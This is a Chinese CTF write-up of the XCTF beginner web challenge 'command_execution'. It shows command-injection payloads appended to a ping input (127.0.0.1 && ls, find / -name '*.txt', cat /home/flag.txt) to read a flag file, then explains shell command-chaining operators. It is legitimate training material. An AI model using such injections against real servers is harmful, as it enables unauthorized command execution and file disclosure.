攻防世界-web-新手练习区(4)-command_execution

本文详细解析了如何利用命令执行漏洞,通过拼接命令在目标服务器上执行任意操作,最终成功读取flag.txt文件获取flag。介绍了命令执行漏洞的概念及常见命令连接符的使用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目

[外链图片转存失败(img-POLxFvpf-1562054492256)(E:\CTF\小白学习总结\攻防世界\web\picture\11.ti.PNG)]

[外链图片转存失败(img-qeZZoVAb-1562054492258)(E:\CTF\小白学习总结\攻防世界\web\picture\11.1.PNG)]

Writeup

因为是ping,所以尝试

ping 127.0.0.1

[外链图片转存失败(img-0cu3mAx3-1562054492259)(E:\CTF\小白学习总结\攻防世界\web\picture\11.2.PNG)]

可以正常执行

尝试命令拼接执行

127.0.0.1 && ls

[外链图片转存失败(img-DqOyuKuC-1562054492260)(E:\CTF\小白学习总结\攻防世界\web\picture\11.3.PNG)]

可以正常执行

尝试找到所有的.txt文件(这里是参考大佬思路)

127.0.0.1 && find / -name "*.txt"

[外链图片转存失败(img-OR7slHWa-1562054492260)(E:\CTF\小白学习总结\攻防世界\web\picture\11.4.PNG)]

发现flag.txt

于是打开flag.txt文件,得到flag

127.0.0.1 && cat /home/flag.txt

[外链图片转存失败(img-pJazcvZL-1562054492262)(E:\CTF\小白学习总结\攻防世界\web\picture\11.flag.PNG)]

知识点

命令执行漏洞

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

  • A&&B,表示A命令语句执行成功,然后执行B命令语句
  • A&B,表示简单的拼接,A命令语句和B命令语句没有制约关系
  • A|B,表示A命令语句的输出,作为B命令语句的输入执行
  • A||B,表示A命令语句执行失败,然后才执行B命令语句
  • A;B,表示先执行A,再执行B

推荐文章:

https://www.freebuf.com/column/154670.html

https://www.cnblogs.com/xiaozi/p/7831529.htm

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值